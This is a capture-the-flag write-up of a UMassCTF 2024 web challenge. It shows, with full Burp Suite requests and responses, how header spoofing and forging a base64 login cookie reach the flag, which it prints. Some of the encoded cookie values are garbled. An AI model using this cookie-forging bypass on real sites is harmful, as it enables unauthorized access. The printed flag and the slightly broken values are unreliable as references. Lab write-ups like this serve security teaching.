

UMassCTF 2024 Holesome Birthday Party Writeup

Challenge Description: You just got invited to Spongebob's birthday! But he's decided to test your friendship with a series of challenges before granting you with the ticket of entrance. Can you prove that you're truly his friend and earn your entrance to this holesome birthday party?

Approach

In order to solve this challenge, you can use either `curl` to add in the headers or the recommended tool is `Burp Suite`. This challenge consists of 5 stages.

Stage 1

When we first open up the website, we get the message saying that Spongebob wants us to prove that our browser is from "Bikini Bottom". We can intercept the request and send it to the repeater on Burp Suite. Change the user-agent to "Bikini Bottom" returns us the next stage.

The screenshot shows the Burp Suite interface with the 'Repeater' tab selected. The target is `http://holesomebirthdayparty.ctf.umasscybersec.org`. The 'Request' pane shows the following details:

- Method: GET
- URL: `HTTP/1.1`
- Host: `holesomebirthdayparty.ctf.umasscybersec.org`
- Cache-Control: `max-age=0`
- Upgrade-Insecure-Requests: `1`
- User-Agent: `Bikini Bottom`
- Accept: `text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7`
- Accept-Encoding: `gzip, deflate, br`
- Accept-Language: `en-US,en;q=0.9`
- Connection: `close`

The 'Response' pane shows the following details:

- Status: `HTTP/1.1 200 OK`
- Server: `gunicorn`
- Date: `Sun, 21 Apr 2024 00:28:41 GMT`
- Connection: `close`
- Content-Type: `text/html; charset=utf-8`
- Content-Length: `485`

The 'Inspector' pane on the right shows the response body, which is an HTML document. The body contains the following text:

```
<h1>
:DDDD
</h1>
<p>
  Good to see you here, mate. Sorry, but you're too early for the Spongebob
  Squarepants birthday party!
</p>

</body>
</html>
```

Stage 2

From the message on the web page, we can infer that it wants a `Date` header. Make sure the header is in the correct format `"<day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT"` and change the day month year to `Jul 14 2024`. The day and time does not matter here.

Request

```

1 GET / HTTP/1.1
2 Host: holesomebirthdayparty.ctf.umasscybersec.org
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Bikini Bottom
6 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: en-US,en;q=0.9
9 Connection: close
10 Date: Wed, 14 Jul 2024 07:28:00 GMT
11 Content-Length: 2

```

Response

```

1 HTTP/1.1 200 OK
2 Server: gunicorn
3 Date: Sun, 21 Apr 2024 00:45:16 GMT
4 Connection: close
5 Content-Type: text/html; charset=utf-8
6 Content-Length: 508
7
8 <!DOCTYPE html>
9 <html lang="en">
10 <head>
11 <meta charset="UTF-8">
12 <meta http-equiv="X-UA-Compatible" content="IE=edge">
13 <meta name="viewport" content="width=device-width, initial-scale=1.0">
14 <link rel="stylesheet" href="/static/css/main.css">
15
16
17 </head>
18 <body>
19
20 <h1>
21 M'as-tu mis chez un traducteur?
22 </h1>
23 <p>
24 Bravo! You made it just on time! But... I've been trying to learn French... can you speak French?
25 </p>
26 
27 </body>
28 </html>

```

Inspector

- Request attributes: 2
- Request query parameters: 0
- Request body parameters: 0
- Request cookies: 0
- Request headers: 10
- Response headers: 5

Stage 3

As we advance to the next stage, Spongebob asks if we can speak French. There is an `Accept-Language` header and we want to change it to French. Note that both `fr` and `fr-FR` are acceptable.

Request

```

1 GET / HTTP/1.1
2 Host: holesomebirthdayparty.ctf.umasscybersec.org
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Bikini Bottom
6 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: fr-FR,fr;q=0.9
9 Connection: close
10 Date: Wed, 14 Jul 2024 07:28:00 GMT
11 Content-Length: 2

```

Response

```

1 HTTP/1.1 200 OK
2 Server: gunicorn
3 Date: Sun, 21 Apr 2024 00:50:13 GMT
4 Connection: close
5 Content-Type: text/html; charset=utf-8
6 Content-Length: 561
7
8 <!DOCTYPE html>
9 <html lang="en">
10 <head>
11 <meta charset="UTF-8">
12 <meta http-equiv="X-UA-Compatible" content="IE=edge">
13 <meta name="viewport" content="width=device-width, initial-scale=1.0">
14 <link rel="stylesheet" href="/static/css/main.css">
15
16
17 </head>
18 <body>
19
20 <h1>
21 (J◡ ◡ ◡)J
22 </h1>
23 <p>
24 C'est très chouette! Suddenly I really miss my great-grandma (◡_◡.) Can you get me some cookies? I want a cookie with the "flavor" of "chocolate_chip"
25 </p>
26 
27 </body>
28 </html>

```

Inspector

- Request attributes: 2
- Request query parameters: 0
- Request body parameters: 0
- Request cookies: 0
- Request headers: 10
- Response headers: 5

Stage 4

The next stage is asking for a cookie with the "flavor" of "chocolate_chip". We need to add a cookie header pair `flavor=chocolate_chip`.

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn

1 x +

Send Cancel < >

Target: http://holesomebirthdayparty.ctf.umasscybersec.org HTTP/

Request

Pretty Raw Hex

```
1 GET / HTTP/1.1
2 Host: holesomebirthdayparty.ctf.umasscybersec.org
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Bikini Bottom
6 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: fr-FR,fr;q=0.9
9 Connection: close
10 Date: Wed, 14 Jul 2024 07:28:00 GMT
11 Cookie: flavor=chocolate_chip
12 Content-Length: 4
13
14
15
16
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: gunicorn
3 Date: Sun, 21 Apr 2024 00:54:36 GMT
4 Connection: close
5 Content-Type: text/html; charset=utf-8
6 Content-Length: 475
7 Set-Cookie: Login=eyJsb2dnZWRpbiI6IGZhbHlfQ==; Path=/
8
9 <!DOCTYPE html>
10 <html lang="en">
11 <head>
12 <meta charset="UTF-8">
13 <meta http-equiv="X-UA-Compatible" content="IE=edge">
14 <meta name="viewport" content="width=device-width, initial-scale=1.0">
15 <link rel="stylesheet" href="/static/css/main.css">
16
17 </head>
18 <body>
19
20 <h1>
21   Yum
22 </h1>
23 <p>
24   So yummy! I now grant you the ticket of entrance to the party, but can you
25   find your way in?
26 </p>
27 
28
29 </body>
30 </html>
```

Inspector

Request attributes 2

Request query parameters 0

Request body parameters 0

Request cookies 1

Request headers 11

Response headers 6

Last Stage

As we proceed to the last stage, we see on the response page intercepted by Burp Suite that there is a cookie pair set by the server. The cookie name is "Login" and the value is base64 encoded. We can highlight the string on Burp Suite and see that it's decoded as `{"loggedIn": false}`. Change "false" to "true" and encode it as a base64 string. You can base64 encode this on Burp Suite repeater or use an online encoder. The challenge is now completed.

1 x +

Send Cancel < >

Target: http://holesomebirthdayparty.ctf.umasscybersec.org HTTP/

Request

Pretty Raw Hex

```
1 GET / HTTP/1.1
2 Host: holesomebirthdayparty.ctf.umasscybersec.org
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Bikini Bottom
6 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: fr-FR,fr;q=0.9
9 Connection: close
10 Date: Wed, 14 Jul 2024 07:28:00 GMT
11 Cookie: flavor=chocolate_chip; Login=eyJsb2dnZWRpbiI6IHRYdWV9
12 Content-Length: 25
13
14
15
16
17
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: gunicorn
3 Date: Sun, 21 Apr 2024 01:13:03 GMT
4 Connection: close
5 Content-Type: text/html; charset=utf-8
6 Content-Length: 447
7
8 <!DOCTYPE html>
9 <html lang="en">
10 <head>
11 <meta charset="UTF-8">
12 <meta http-equiv="X-UA-Compatible" content="IE=edge">
13 <meta name="viewport" content="width=device-width, initial-scale=1.0">
14 <link rel="stylesheet" href="/static/css/main.css">
15
16 </head>
17 <body>
18
19 <h1>
20   Welcome to the Party!
21 </h1>
22 <p>
23   WOO HOO! The flag is UMASS{B3k3niW3rLP0oL~}
24 </p>
25 
26
27 </body>
28 </html>
```

Inspector

Request attributes 2

Request query parameters 0

Request body parameters 0

Request cookies 2

Request headers 11

Response headers 5